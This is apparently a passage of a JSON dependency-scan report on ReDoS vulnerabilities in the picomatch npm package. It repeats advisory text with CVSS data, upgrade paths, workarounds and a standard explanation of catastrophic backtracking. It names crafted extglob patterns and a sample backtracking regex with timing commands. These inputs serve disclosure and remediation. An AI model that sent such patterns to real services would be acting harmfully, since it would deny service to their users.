65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 